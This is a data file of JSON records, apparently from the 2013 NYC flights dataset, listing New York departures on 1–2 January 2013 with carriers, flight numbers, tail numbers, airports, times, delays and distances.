-{"year":2013,"month":1,"day":1,"sched_dep_time":1935,"sched_arr_time":2240,"carrier":"AA","flight":791,"tailnum":"N3EHAA","origin":"LGA","dest":"DFW","distance":1389,"hour":19,"minute":35,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"sched_dep_time":1500,"sched_arr_time":1825,"carrier":"AA","flight":1925,"tailnum":"N3EVAA","origin":"LGA","dest":"MIA","distance":1096,"hour":15,"minute":0,"time_hour":"2013-01-01 15:00:00"} -{"year":2013,"month":1,"day":1,"sched_dep_time":600,"sched_arr_time":901,"carrier":"B6","flight":125,"tailnum":"N618JB","origin":"JFK","dest":"FLL","distance":1069,"hour":6,"minute":0,"time_hour":"2013-01-01 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":42,"sched_dep_time":2359,"dep_delay":43,"arr_time":518,"sched_arr_time":442,"arr_delay":36,"carrier":"B6","flight":707,"tailnum":"N580JB","origin":"JFK","dest":"SJU","air_time":189,"distance":1598,"hour":23,"minute":59,"time_hour":"2013-01-02 23:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":126,"sched_dep_time":2250,"dep_delay":156,"arr_time":233,"sched_arr_time":2359,"arr_delay":154,"carrier":"B6","flight":22,"tailnum":"N636JB","origin":"JFK","dest":"SYR","air_time":49,"distance":209,"hour":22,"minute":50,"time_hour":"2013-01-02 22:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":458,"sched_dep_time":500,"dep_delay":-2,"arr_time":703,"sched_arr_time":650,"arr_delay":13,"carrier":"US","flight":1030,"tailnum":"N162UW","origin":"EWR","dest":"CLT","air_time":108,"distance":529,"hour":5,"minute":0,"time_hour":"2013-01-02 05:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":512,"sched_dep_time":515,"dep_delay":-3,"arr_time":809,"sched_arr_time":819,"arr_delay":-10,"carrier":"UA","flight":1453,"tailnum":"N76515","origin":"EWR","dest":"IAH","air_time":214,"distance":1400,"hour":5,"minute":15,"time_hour":"2013-01-02 05:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":535,"sched_dep_time":540,"dep_delay":-5,"arr_time":831,"sched_arr_time":850,"arr_delay":-19,"carrier":"AA","flight":1141,"tailnum":"N621AA","origin":"JFK","dest":"MIA","air_time":156,"distance":1089,"hour":5,"minute":40,"time_hour":"2013-01-02 05:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":536,"sched_dep_time":529,"dep_delay":7,"arr_time":840,"sched_arr_time":828,"arr_delay":12,"carrier":"UA","flight":407,"tailnum":"N493UA","origin":"LGA","dest":"IAH","air_time":231,"distance":1416,"hour":5,"minute":29,"time_hour":"2013-01-02 05:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":539,"sched_dep_time":545,"dep_delay":-6,"arr_time":959,"sched_arr_time":1022,"arr_delay":-23,"carrier":"B6","flight":725,"tailnum":"N624JB","origin":"JFK","dest":"BQN","air_time":184,"distance":1576,"hour":5,"minute":45,"time_hour":"2013-01-02 05:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":554,"sched_dep_time":600,"dep_delay":-6,"arr_time":845,"sched_arr_time":901,"arr_delay":-16,"carrier":"B6","flight":125,"tailnum":"N637JB","origin":"JFK","dest":"FLL","air_time":156,"distance":1069,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":554,"sched_dep_time":600,"dep_delay":-6,"arr_time":841,"sched_arr_time":851,"arr_delay":-10,"carrier":"B6","flight":49,"tailnum":"N658JB","origin":"JFK","dest":"PBI","air_time":146,"distance":1028,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":554,"sched_dep_time":600,"dep_delay":-6,"arr_time":909,"sched_arr_time":858,"arr_delay":11,"carrier":"B6","flight":371,"tailnum":"N805JB","origin":"LGA","dest":"FLL","air_time":159,"distance":1076,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":555,"sched_dep_time":600,"dep_delay":-5,"arr_time":931,"sched_arr_time":910,"arr_delay":21,"carrier":"AA","flight":707,"tailnum":"N3BEAA","origin":"LGA","dest":"DFW","air_time":255,"distance":1389,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":555,"sched_dep_time":600,"dep_delay":-5,"arr_time":856,"sched_arr_time":856,"arr_delay":0,"carrier":"B6","flight":71,"tailnum":"N806JB","origin":"JFK","dest":"TPA","air_time":158,"distance":1005,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":555,"sched_dep_time":600,"dep_delay":-5,"arr_time":750,"sched_arr_time":757,"arr_delay":-7,"carrier":"DL","flight":731,"tailnum":"N366NB","origin":"LGA","dest":"DTW","air_time":87,"distance":502,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":556,"sched_dep_time":600,"dep_delay":-4,"arr_time":724,"sched_arr_time":723,"arr_delay":1,"carrier":"EV","flight":5708,"tailnum":"N836AS","origin":"LGA","dest":"IAD","air_time":54,"distance":229,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":556,"sched_dep_time":600,"dep_delay":-4,"arr_time":837,"sched_arr_time":837,"arr_delay":0,"carrier":"DL","flight":461,"tailnum":"N618DL","origin":"LGA","dest":"ATL","air_time":128,"distance":762,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":557,"sched_dep_time":605,"dep_delay":-8,"arr_time":832,"sched_arr_time":823,"arr_delay":9,"carrier":"DL","flight":544,"tailnum":"N325US","origin":"LGA","dest":"CVG","air_time":117,"distance":585,"hour":6,"minute":5,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":558,"sched_dep_time":600,"dep_delay":-2,"arr_time":838,"sched_arr_time":815,"arr_delay":23,"carrier":"FL","flight":345,"tailnum":"N896AT","origin":"LGA","dest":"ATL","air_time":129,"distance":762,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":558,"sched_dep_time":600,"dep_delay":-2,"arr_time":916,"sched_arr_time":931,"arr_delay":-15,"carrier":"UA","flight":303,"tailnum":"N505UA","origin":"JFK","dest":"SFO","air_time":341,"distance":2586,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":559,"sched_dep_time":601,"dep_delay":-2,"arr_time":809,"sched_arr_time":901,"arr_delay":-52,"carrier":"UA","flight":402,"tailnum":"N484UA","origin":"EWR","dest":"LAS","air_time":289,"distance":2227,"hour":6,"minute":1,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":559,"sched_dep_time":600,"dep_delay":-1,"arr_time":906,"sched_arr_time":907,"arr_delay":-1,"carrier":"UA","flight":1077,"tailnum":"N12225","origin":"EWR","dest":"MIA","air_time":157,"distance":1085,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":600,"sched_dep_time":600,"dep_delay":0,"arr_time":814,"sched_arr_time":749,"arr_delay":25,"carrier":"EV","flight":4334,"tailnum":"N13914","origin":"EWR","dest":"CMH","air_time":98,"distance":463,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":600,"sched_dep_time":605,"dep_delay":-5,"arr_time":751,"sched_arr_time":818,"arr_delay":-27,"carrier":"EV","flight":5147,"tailnum":"N760EV","origin":"EWR","dest":"MSP","air_time":155,"distance":1008,"hour":6,"minute":5,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":600,"sched_dep_time":600,"dep_delay":0,"arr_time":819,"sched_arr_time":815,"arr_delay":4,"carrier":"9E","flight":4171,"tailnum":"N8946A","origin":"EWR","dest":"CVG","air_time":120,"distance":569,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":600,"sched_dep_time":600,"dep_delay":0,"arr_time":846,"sched_arr_time":846,"arr_delay":0,"carrier":"B6","flight":79,"tailnum":"N529JB","origin":"JFK","dest":"MCO","air_time":140,"distance":944,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":600,"sched_dep_time":600,"dep_delay":0,"arr_time":737,"sched_arr_time":725,"arr_delay":12,"carrier":"WN","flight":3136,"tailnum":"N8311Q","origin":"LGA","dest":"MDW","air_time":117,"distance":725,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":600,"sched_dep_time":605,"dep_delay":-5,"arr_time":748,"sched_arr_time":805,"arr_delay":-17,"carrier":"MQ","flight":4401,"tailnum":"N713MQ","origin":"LGA","dest":"DTW","air_time":82,"distance":502,"hour":6,"minute":5,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":600,"sched_dep_time":600,"dep_delay":0,"arr_time":747,"sched_arr_time":735,"arr_delay":12,"carrier":"UA","flight":1280,"tailnum":"N62631","origin":"LGA","dest":"ORD","air_time":125,"distance":733,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":602,"sched_dep_time":600,"dep_delay":2,"arr_time":646,"sched_arr_time":659,"arr_delay":-13,"carrier":"US","flight":1833,"tailnum":"N951UW","origin":"LGA","dest":"PHL","air_time":28,"distance":96,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":603,"sched_dep_time":600,"dep_delay":3,"arr_time":733,"sched_arr_time":745,"arr_delay":-12,"carrier":"AA","flight":301,"tailnum":"N3CRAA","origin":"LGA","dest":"ORD","air_time":118,"distance":733,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":603,"sched_dep_time":559,"dep_delay":4,"arr_time":912,"sched_arr_time":916,"arr_delay":-4,"carrier":"UA","flight":1676,"tailnum":"N17229","origin":"EWR","dest":"LAX","air_time":341,"distance":2454,"hour":5,"minute":59,"time_hour":"2013-01-02 05:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":605,"sched_dep_time":600,"dep_delay":5,"arr_time":851,"sched_arr_time":935,"arr_delay":-44,"carrier":"UA","flight":421,"tailnum":"N832UA","origin":"EWR","dest":"SFO","air_time":329,"distance":2565,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":606,"sched_dep_time":610,"dep_delay":-4,"arr_time":846,"sched_arr_time":845,"arr_delay":1,"carrier":"DL","flight":1743,"tailnum":"N387DA","origin":"JFK","dest":"ATL","air_time":129,"distance":760,"hour":6,"minute":10,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":606,"sched_dep_time":610,"dep_delay":-4,"arr_time":825,"sched_arr_time":820,"arr_delay":5,"carrier":"DL","flight":1919,"tailnum":"N915DE","origin":"LGA","dest":"MSP","air_time":167,"distance":1020,"hour":6,"minute":10,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":607,"sched_dep_time":610,"dep_delay":-3,"arr_time":859,"sched_arr_time":910,"arr_delay":-11,"carrier":"AA","flight":1895,"tailnum":"N5ELAA","origin":"EWR","dest":"MIA","air_time":151,"distance":1085,"hour":6,"minute":10,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":609,"sched_dep_time":600,"dep_delay":9,"arr_time":909,"sched_arr_time":854,"arr_delay":15,"carrier":"B6","flight":507,"tailnum":"N630JB","origin":"EWR","dest":"FLL","air_time":158,"distance":1065,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":610,"sched_dep_time":600,"dep_delay":10,"arr_time":826,"sched_arr_time":807,"arr_delay":19,"carrier":"EV","flight":5310,"tailnum":"N740EV","origin":"LGA","dest":"MEM","air_time":172,"distance":963,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":610,"sched_dep_time":615,"dep_delay":-5,"arr_time":854,"sched_arr_time":844,"arr_delay":10,"carrier":"DL","flight":575,"tailnum":"N304DQ","origin":"EWR","dest":"ATL","air_time":124,"distance":746,"hour":6,"minute":15,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":611,"sched_dep_time":600,"dep_delay":11,"arr_time":756,"sched_arr_time":725,"arr_delay":31,"carrier":"WN","flight":1563,"tailnum":"N235WN","origin":"EWR","dest":"MDW","air_time":139,"distance":711,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":612,"sched_dep_time":600,"dep_delay":12,"arr_time":901,"sched_arr_time":850,"arr_delay":11,"carrier":"B6","flight":343,"tailnum":"N579JB","origin":"EWR","dest":"PBI","air_time":146,"distance":1023,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":612,"sched_dep_time":615,"dep_delay":-3,"arr_time":1053,"sched_arr_time":1100,"arr_delay":-7,"carrier":"B6","flight":709,"tailnum":"N629JB","origin":"JFK","dest":"SJU","air_time":191,"distance":1598,"hour":6,"minute":15,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":616,"sched_dep_time":600,"dep_delay":16,"arr_time":1001,"sched_arr_time":917,"arr_delay":44,"carrier":"UA","flight":1141,"tailnum":"N19141","origin":"JFK","dest":"LAX","air_time":354,"distance":2475,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":617,"sched_dep_time":615,"dep_delay":2,"arr_time":837,"sched_arr_time":817,"arr_delay":20,"carrier":"US","flight":1567,"tailnum":"N745VJ","origin":"JFK","dest":"CLT","air_time":106,"distance":541,"hour":6,"minute":15,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":621,"sched_dep_time":610,"dep_delay":11,"arr_time":912,"sched_arr_time":915,"arr_delay":-3,"carrier":"AA","flight":1837,"tailnum":"N3EVAA","origin":"LGA","dest":"MIA","air_time":155,"distance":1096,"hour":6,"minute":10,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":622,"sched_dep_time":630,"dep_delay":-8,"arr_time":820,"sched_arr_time":830,"arr_delay":-10,"carrier":"MQ","flight":4599,"tailnum":"N6EAMQ","origin":"LGA","dest":"MSP","air_time":159,"distance":1020,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":624,"sched_dep_time":600,"dep_delay":24,"arr_time":908,"sched_arr_time":825,"arr_delay":43,"carrier":"MQ","flight":4650,"tailnum":"N513MQ","origin":"LGA","dest":"ATL","air_time":138,"distance":762,"hour":6,"minute":0,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":625,"sched_dep_time":630,"dep_delay":-5,"arr_time":833,"sched_arr_time":830,"arr_delay":3,"carrier":"MQ","flight":4576,"tailnum":"N504MQ","origin":"LGA","dest":"CLT","air_time":106,"distance":544,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":625,"sched_dep_time":629,"dep_delay":-4,"arr_time":935,"sched_arr_time":934,"arr_delay":1,"carrier":"UA","flight":473,"tailnum":"N461UA","origin":"LGA","dest":"IAH","air_time":230,"distance":1416,"hour":6,"minute":29,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":625,"sched_dep_time":630,"dep_delay":-5,"arr_time":954,"sched_arr_time":946,"arr_delay":8,"carrier":"UA","flight":516,"tailnum":"N802UA","origin":"EWR","dest":"DFW","air_time":249,"distance":1372,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":626,"sched_dep_time":630,"dep_delay":-4,"arr_time":850,"sched_arr_time":833,"arr_delay":17,"carrier":"US","flight":1019,"tailnum":"N445US","origin":"EWR","dest":"CLT","air_time":103,"distance":529,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":628,"sched_dep_time":630,"dep_delay":-2,"arr_time":935,"sched_arr_time":932,"arr_delay":3,"carrier":"DL","flight":2137,"tailnum":"N912DE","origin":"LGA","dest":"TPA","air_time":159,"distance":1010,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":628,"sched_dep_time":615,"dep_delay":13,"arr_time":730,"sched_arr_time":715,"arr_delay":15,"carrier":"WN","flight":3641,"tailnum":"N961WN","origin":"EWR","dest":"BWI","air_time":42,"distance":169,"hour":6,"minute":15,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":629,"sched_dep_time":615,"dep_delay":14,"arr_time":746,"sched_arr_time":735,"arr_delay":11,"carrier":"EV","flight":4144,"tailnum":"N15574","origin":"EWR","dest":"IAD","air_time":51,"distance":212,"hour":6,"minute":15,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":629,"sched_dep_time":620,"dep_delay":9,"arr_time":844,"sched_arr_time":827,"arr_delay":17,"carrier":"EV","flight":4460,"tailnum":"N11565","origin":"EWR","dest":"CVG","air_time":118,"distance":569,"hour":6,"minute":20,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":629,"sched_dep_time":630,"dep_delay":-1,"arr_time":1010,"sched_arr_time":1014,"arr_delay":-4,"carrier":"US","flight":245,"tailnum":"N837AW","origin":"EWR","dest":"PHX","air_time":308,"distance":2133,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":630,"sched_dep_time":610,"dep_delay":20,"arr_time":948,"sched_arr_time":921,"arr_delay":27,"carrier":"B6","flight":135,"tailnum":"N665JB","origin":"JFK","dest":"RSW","air_time":177,"distance":1074,"hour":6,"minute":10,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":630,"sched_dep_time":635,"dep_delay":-5,"arr_time":948,"sched_arr_time":942,"arr_delay":6,"carrier":"DL","flight":1879,"tailnum":"N969DL","origin":"LGA","dest":"FLL","air_time":166,"distance":1076,"hour":6,"minute":35,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":630,"sched_dep_time":630,"dep_delay":0,"arr_time":727,"sched_arr_time":740,"arr_delay":-13,"carrier":"WN","flight":4648,"tailnum":"N7735A","origin":"LGA","dest":"BWI","air_time":42,"distance":185,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":632,"sched_dep_time":635,"dep_delay":-3,"arr_time":812,"sched_arr_time":812,"arr_delay":0,"carrier":"EV","flight":4150,"tailnum":"N16987","origin":"EWR","dest":"RDU","air_time":82,"distance":416,"hour":6,"minute":35,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":632,"sched_dep_time":630,"dep_delay":2,"arr_time":941,"sched_arr_time":940,"arr_delay":1,"carrier":"UA","flight":387,"tailnum":"N521UA","origin":"EWR","dest":"LAX","air_time":325,"distance":2454,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":634,"sched_dep_time":630,"dep_delay":4,"arr_time":806,"sched_arr_time":810,"arr_delay":-4,"carrier":"AA","flight":303,"tailnum":"N3DYAA","origin":"LGA","dest":"ORD","air_time":123,"distance":733,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":636,"sched_dep_time":637,"dep_delay":-1,"arr_time":1012,"sched_arr_time":955,"arr_delay":17,"carrier":"UA","flight":1276,"tailnum":"N38727","origin":"EWR","dest":"AUS","air_time":248,"distance":1504,"hour":6,"minute":37,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":636,"sched_dep_time":631,"dep_delay":5,"arr_time":1005,"sched_arr_time":1014,"arr_delay":-9,"carrier":"UA","flight":908,"tailnum":"N406UA","origin":"EWR","dest":"PHX","air_time":299,"distance":2133,"hour":6,"minute":31,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":637,"sched_dep_time":640,"dep_delay":-3,"arr_time":832,"sched_arr_time":809,"arr_delay":23,"carrier":"EV","flight":3829,"tailnum":"N17108","origin":"EWR","dest":"BNA","air_time":138,"distance":748,"hour":6,"minute":40,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":637,"sched_dep_time":630,"dep_delay":7,"arr_time":1012,"sched_arr_time":1018,"arr_delay":-6,"carrier":"US","flight":27,"tailnum":"N545UW","origin":"JFK","dest":"PHX","air_time":312,"distance":2153,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":637,"sched_dep_time":631,"dep_delay":6,"arr_time":821,"sched_arr_time":815,"arr_delay":6,"carrier":"UA","flight":1162,"tailnum":"N39297","origin":"EWR","dest":"CLE","air_time":79,"distance":404,"hour":6,"minute":31,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":640,"sched_dep_time":640,"dep_delay":0,"arr_time":732,"sched_arr_time":749,"arr_delay":-17,"carrier":"B6","flight":1002,"tailnum":"N807JB","origin":"JFK","dest":"BOS","air_time":34,"distance":187,"hour":6,"minute":40,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":640,"sched_dep_time":646,"dep_delay":-6,"arr_time":926,"sched_arr_time":941,"arr_delay":-15,"carrier":"UA","flight":1627,"tailnum":"N37267","origin":"EWR","dest":"PBI","air_time":145,"distance":1023,"hour":6,"minute":46,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":641,"sched_dep_time":635,"dep_delay":6,"arr_time":926,"sched_arr_time":917,"arr_delay":9,"carrier":"EV","flight":3831,"tailnum":"N12996","origin":"EWR","dest":"ATL","air_time":138,"distance":746,"hour":6,"minute":35,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":641,"sched_dep_time":635,"dep_delay":6,"arr_time":1013,"sched_arr_time":940,"arr_delay":33,"carrier":"AA","flight":711,"tailnum":"N3CFAA","origin":"LGA","dest":"DFW","air_time":249,"distance":1389,"hour":6,"minute":35,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":641,"sched_dep_time":647,"dep_delay":-6,"arr_time":804,"sched_arr_time":810,"arr_delay":-6,"carrier":"B6","flight":102,"tailnum":"N766JB","origin":"JFK","dest":"BUF","air_time":60,"distance":301,"hour":6,"minute":47,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":641,"sched_dep_time":645,"dep_delay":-4,"arr_time":930,"sched_arr_time":935,"arr_delay":-5,"carrier":"B6","flight":389,"tailnum":"N563JB","origin":"LGA","dest":"MCO","air_time":142,"distance":950,"hour":6,"minute":45,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":642,"sched_dep_time":630,"dep_delay":12,"arr_time":854,"sched_arr_time":841,"arr_delay":13,"carrier":"US","flight":1433,"tailnum":"N538UW","origin":"LGA","dest":"CLT","air_time":109,"distance":544,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":647,"sched_dep_time":645,"dep_delay":2,"arr_time":849,"sched_arr_time":916,"arr_delay":-27,"carrier":"UA","flight":320,"tailnum":"N587UA","origin":"LGA","dest":"DEN","air_time":218,"distance":1620,"hour":6,"minute":45,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":647,"sched_dep_time":646,"dep_delay":1,"arr_time":738,"sched_arr_time":809,"arr_delay":-31,"carrier":"UA","flight":785,"tailnum":"N821UA","origin":"EWR","dest":"BOS","air_time":34,"distance":200,"hour":6,"minute":46,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":647,"sched_dep_time":645,"dep_delay":2,"arr_time":903,"sched_arr_time":848,"arr_delay":15,"carrier":"US","flight":926,"tailnum":"N565UW","origin":"EWR","dest":"CLT","air_time":102,"distance":529,"hour":6,"minute":45,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":649,"sched_dep_time":655,"dep_delay":-6,"arr_time":951,"sched_arr_time":1030,"arr_delay":-39,"carrier":"DL","flight":1415,"tailnum":"N374DA","origin":"JFK","dest":"SLC","air_time":274,"distance":1990,"hour":6,"minute":55,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":649,"sched_dep_time":651,"dep_delay":-2,"arr_time":934,"sched_arr_time":946,"arr_delay":-12,"carrier":"UA","flight":392,"tailnum":"N464UA","origin":"EWR","dest":"MCO","air_time":141,"distance":937,"hour":6,"minute":51,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":654,"sched_dep_time":700,"dep_delay":-6,"arr_time":946,"sched_arr_time":1045,"arr_delay":-59,"carrier":"DL","flight":1865,"tailnum":"N711ZX","origin":"JFK","dest":"SFO","air_time":323,"distance":2586,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":654,"sched_dep_time":651,"dep_delay":3,"arr_time":1003,"sched_arr_time":955,"arr_delay":8,"carrier":"UA","flight":1701,"tailnum":"N78285","origin":"EWR","dest":"FLL","air_time":168,"distance":1065,"hour":6,"minute":51,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":655,"sched_dep_time":659,"dep_delay":-4,"arr_time":955,"sched_arr_time":959,"arr_delay":-4,"carrier":"AA","flight":1815,"tailnum":"N5EUAA","origin":"JFK","dest":"MCO","air_time":144,"distance":944,"hour":6,"minute":59,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":655,"sched_dep_time":655,"dep_delay":0,"arr_time":929,"sched_arr_time":942,"arr_delay":-13,"carrier":"B6","flight":203,"tailnum":"N651JB","origin":"JFK","dest":"LAS","air_time":297,"distance":2248,"hour":6,"minute":55,"time_hour":"2013-01-02 06:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":655,"sched_dep_time":700,"dep_delay":-5,"arr_time":1031,"sched_arr_time":1034,"arr_delay":-3,"carrier":"DL","flight":763,"tailnum":"N705TW","origin":"JFK","dest":"LAX","air_time":317,"distance":2475,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":655,"sched_dep_time":700,"dep_delay":-5,"arr_time":1005,"sched_arr_time":1009,"arr_delay":-4,"carrier":"DL","flight":1383,"tailnum":"N378NW","origin":"LGA","dest":"PBI","air_time":162,"distance":1035,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":655,"sched_dep_time":700,"dep_delay":-5,"arr_time":1015,"sched_arr_time":1020,"arr_delay":-5,"carrier":"DL","flight":2003,"tailnum":"N926DL","origin":"LGA","dest":"MIA","air_time":161,"distance":1096,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":656,"sched_dep_time":700,"dep_delay":-4,"arr_time":1013,"sched_arr_time":1007,"arr_delay":6,"carrier":"B6","flight":981,"tailnum":"N656JB","origin":"JFK","dest":"FLL","air_time":162,"distance":1069,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":656,"sched_dep_time":705,"dep_delay":-9,"arr_time":1014,"sched_arr_time":940,"arr_delay":34,"carrier":"MQ","flight":4534,"tailnum":"N719MQ","origin":"LGA","dest":"XNA","air_time":233,"distance":1147,"hour":7,"minute":5,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":657,"sched_dep_time":700,"dep_delay":-3,"arr_time":806,"sched_arr_time":809,"arr_delay":-3,"carrier":"US","flight":2163,"tailnum":"N945UW","origin":"LGA","dest":"DCA","air_time":46,"distance":214,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":659,"sched_dep_time":700,"dep_delay":-1,"arr_time":959,"sched_arr_time":1025,"arr_delay":-26,"carrier":"VX","flight":399,"tailnum":"N626VA","origin":"JFK","dest":"LAX","air_time":330,"distance":2475,"hour":7,"minute":0,"time_hour":"2013-01-02 07:00:00"} -{"year":2013,"month":1,"day":2,"dep_time":700,"sched_dep_time":630,"dep_delay":30,"arr_time":917,"sched_arr_time":840,"arr_delay":37,"carrier":"EV","flight":4471,"tailnum":"N17984","origin":"EWR","dest":"CLT","air_time":102,"distance":529,"hour":6,"minute":30,"time_hour":"2013-01-02 06:00:00"} 